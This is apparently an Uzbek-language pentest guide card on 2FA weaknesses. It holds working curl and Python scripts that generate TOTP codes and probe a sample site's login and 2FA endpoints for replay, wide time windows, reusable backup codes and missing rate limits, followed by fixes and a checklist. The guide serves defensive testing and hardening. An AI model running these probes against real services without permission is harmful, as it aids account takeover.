📱
MFA chuqurligi
Replay, window, backup codes
1
Maqsad
ikki bosqichli kodning chuqur zaifliklariParol to'g'ri kelganda 2FA ishga tushadi. Endi kodning o'zi zaifligini ko'rib chiqamiz — bunda hujum parolsiz ishlaydi.
2
Tushuntirish
7 ta zaiflik| Zaiflik | Tushuntirish |
|---|---|
| Replay | bir kod bir necha marta ishlatiladi |
| Vaqt oynasi | ±3 step qabul qilinadi (90 sek) |
| Backup kodlar | saqlanmaydi / ko'p urish mumkin |
| Rate limit | 1 mln variant urish mumkin |
| Kod ko'rsatish | javobda yoki logda chiqadi |
| Masofa (distance) | birinchi 3 ta raqamni yo'qotsangiz |
| Telegram bot orqali | kod avtomatik olinadi |
3
Qanday aniqlanadi
# 1) 2FA yo'lari grep -rniE "totp|2fa|twofa|mfa|backup.?code|recovery" src/ | head # 2) vaqt oynasi grep -rnE "window|drift|step|authenticator" src/services/ | head # 3) backup kodlar saqlanadimi grep -rniE "backupCode|recoveryCode|backup_code" src/ | head
4
Buyruqlar
# 1) TOTP kodlarni hisoblash (joriy va qo'shni step) python3 - <<'PYEOF' import hmac, hashlib, struct, time, base64 S = 'JBSWY3DPEHPK3PXP' # o'z testingizni ishlating def totp(s, step=30, off=0): k = base64.b32decode(s.upper() + '=' * ((8 - len(s) % 8) % 8)) c = struct.pack('>Q', int(time.time() // step) + off) h = hmac.new(k, c, hashlib.sha1).digest() o = h[19] & 15 return str((struct.unpack('>I', h[o:o+4])[0] & 0x7fffffff) % 10**6).zfill(6) for off in (-2, -1, 0, 1, 2): print(f" step{off:+d}: {totp(S, 30, off)}") PYEOF # 2) ±step larni sinab ko'rish (o'z 2FA nizomiz) T=$(curl -s -X POST https://site.uz/api/auth/admin-panel-login \ -H "Content-Type: application/json" -d '{"email":"...","password":"..."}' | jq -r .token) for OFF in -2 -1 0 1 2; do C=$(python3 -c "import hmac,hashlib,struct,time,base64 S='JBSWY3DPEHPK3PXP' k=base64.b32decode(S+'='*((8-len(S)%8)%8)) c=struct.pack('>Q', int(time.time()//30) + $OFF) h=hmac.new(k,c,hashlib.sha1).digest(); o=h[19]&15 print(str((struct.unpack('>I',h[o:o+4])[0]&0x7fffffff)%10**6).zfill(6))") R=$(curl -s -X POST https://site.uz/api/auth/verify-tfa -H "Authorization: Bearer $T" \ -H "Content-Type: application/json" -d "{\"code\":\"$C\"}" | jq -r .success) echo " offset $OFF → code $C → success=$R" done # 3) REPLAY — bir kodni ikki marta C=$(python3 -c "...") # joriy kod curl -s -X POST https://site.uz/api/auth/verify-tfa -H "Authorization: Bearer $T" \ -H "Content-Type: application/json" -d "{\"code\":\"$C\"}" | jq -c . sleep 35 curl -s -X POST https://site.uz/api/auth/verify-tfa -H "Authorization: Bearer $T" \ -H "Content-Type: application/json" -d "{\"code\":\"$C\"}" | jq -c . # ikkalasi ham true → replay # 4) backup kodlar curl -s -X POST https://site.uz/api/auth/2fa/verify-backup \ -H "Authorization: Bearer $T" -H "Content-Type: application/json" \ -d '{"code":"12345678"}' | jq -c . # o'sha kodni qayta ishlatish: curl -s -X POST https://site.uz/api/auth/2fa/verify-backup \ -H "Authorization: Bearer $T" -H "Content-Type: application/json" \ -d '{"code":"12345678"}' | jq -c . # 5) TELEGRAM orqali 2FA (kod sizga keladi = o'g'rinadi) curl -s -X POST https://site.uz/api/auth/telegram/send-code -d '{"phone":"+998901234567"}' | jq -c . # Telegram bot orqali kodni o'g'rish mumkin → SMS/TOTP afzal # 6) kirish vaqtini o'lchash (mashin va inson farqi) for I in 1 2 3; do T2=$(curl -s -X POST https://site.uz/api/auth/admin-panel-login \ -H "Content-Type: application/json" -d '{"email":"...","password":"..."}' | jq -r .token) time curl -s -o /dev/null -X POST https://site.uz/api/auth/verify-tfa \ -H "Authorization: Bearer $T2" -H "Content-Type: application/json" -d '{"code":"000000"}' done
5
Natija
✓ MUvaffaqiyat — hujum ISHLADI
| Server javobi | Nima degani |
|---|---|
±2 step kod qabul qilindi | **Kengaytirilgan oyna (90 sek)** |
Bir kod 2 marta ishlatildi | **Replay zaifligi** |
Bir backup kod 2 marta | **Backup kodlar saqlanmayapti** |
100 urish bloklanmadi | **Rate limit yetarli emas** |
2FA Telegram orqali | **Telegram hisobi egallansa = 2FS yo'q** |
2FA vaqt oralig'i 0.2s | **Mashin urishi mumkin** |
✗ Rad etish — hujum ISHLAMADI
| Server javobi | Nima degani |
|---|---|
Faqat joriy step qabul qilindi | **To'g'ri** |
Kod ikkinchi marta rad etildi | **Replay himoyalangan** |
Backup kod bir marta ishlatildi | **To'g'ri** |
5 xatodan keyin 15 daqiqa blok | **To'g'ri** |
6
Zararni yopish
1. Vaqt oynasini qisqartirish
const step = Math.floor(Date.now() / 1000 / 30); if (step !== storedStep) return fail(); // faqat joriy // yoki ±1 (server va telefon sekin bo'lishi mumkin)
2. Replay himoyasi
const used = await redis.get(`tfa:${userId}:${code}`);
if (used) return fail('bu kod ishlatilgan');
await redis.set(`tfa:${userId}:${code}`, 1, 'EX', 30);
// yoki: user.lastStep ni saqlab, undan kichik bo'lsa rad etish
3. Backup kodlar
// 10 ta kod, bcrypt bilan saqlanadi codes.forEach(c => bcrypt.hashSync(c, 10)) // baza: bcrypt hash // ishlatilgani belgilanadi va O'CHIRILADI db.backupCodes.splice(db.backupCodes.indexOf(hash), 1); // foydalanuvchiga faqat BIR marta ko'rsatadi
4. Rate limit — qat'iy
if (attempts >= 5) { blockFor(userId, 15 * 60); notify(user); }
// IP bilan birga: 10 urish / 15 daqiqa
notify(user.email, `2FA urishlari: ${attempts}`); // xabar berish
5. Usul tanlash
| Usul | Xavfsizlik |
|---|---|
| TOTP ilovasi | ⭐⭐⭐⭐ — qo'lda kiritilmaydi, eng yaxshi |
| Security key (FIDO2) | ⭐⭐⭐⭐⭐ — eng kuchli |
| SMS kod | ⭐⭐ — SIM swap xavfi, lekin TOTP dan yaxshi |
| Telegram bot | ⭐ — Telegram hisobi = 2FA emas |
| Email kod | ⭐ — email hisolanda kirish = 2FS emas |
Telegram orqali 2FA — bu tasdiqlash emas, chunki Telegram akkaunti alohida zaiflik. Maqsadli auditoriya uchun TOTP yoki FIDO2 kaliti.
7
Tekshirish ro'yxati
- Faqat joriy TOTP step qabul qilinadi
- Ishlatilgan kod 30 sek qaytarilmaydi
- Backup kodlar bcrypt bilan, bir marta ishlatiladi
- 5 xato → blok + xabarnoma
- Telegram/Email orqali 2FA ishlatilmadi
- Parolni o'zgartirish 2FA'ni qayta so'raydi
- 2FA'ni o'chirish parol bilan tasdiqlanadi